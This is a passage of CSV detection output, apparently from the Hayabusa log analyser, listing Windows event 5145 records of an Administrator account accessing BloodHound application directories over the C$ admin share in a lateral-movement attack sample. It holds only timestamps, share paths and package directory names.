Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\doc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\doc\wg-meetings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\lib\internal : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\regenerator-runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src\shims : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\rimraf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\safe-buffer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\setimmediate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\signal-exit : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\ssf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\ssf\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-chain : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-chain\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\filters : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\streamers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.379 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\string_decoder : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\string_decoder\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\text-encoding : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.389 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\text-encoding\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.399 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\traverse\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.409 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\typedarray\test\server : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\unzipper : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.419 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\dist\esnext : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.429 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\src\schemes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uri-js\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\util-deprecate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.439 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\uuid\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\voc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\warning : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.449 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\wrappy : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\write-file-atomic : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.459 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.469 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\xlsx\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.469 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.479 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.479 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Float : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Menu : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: 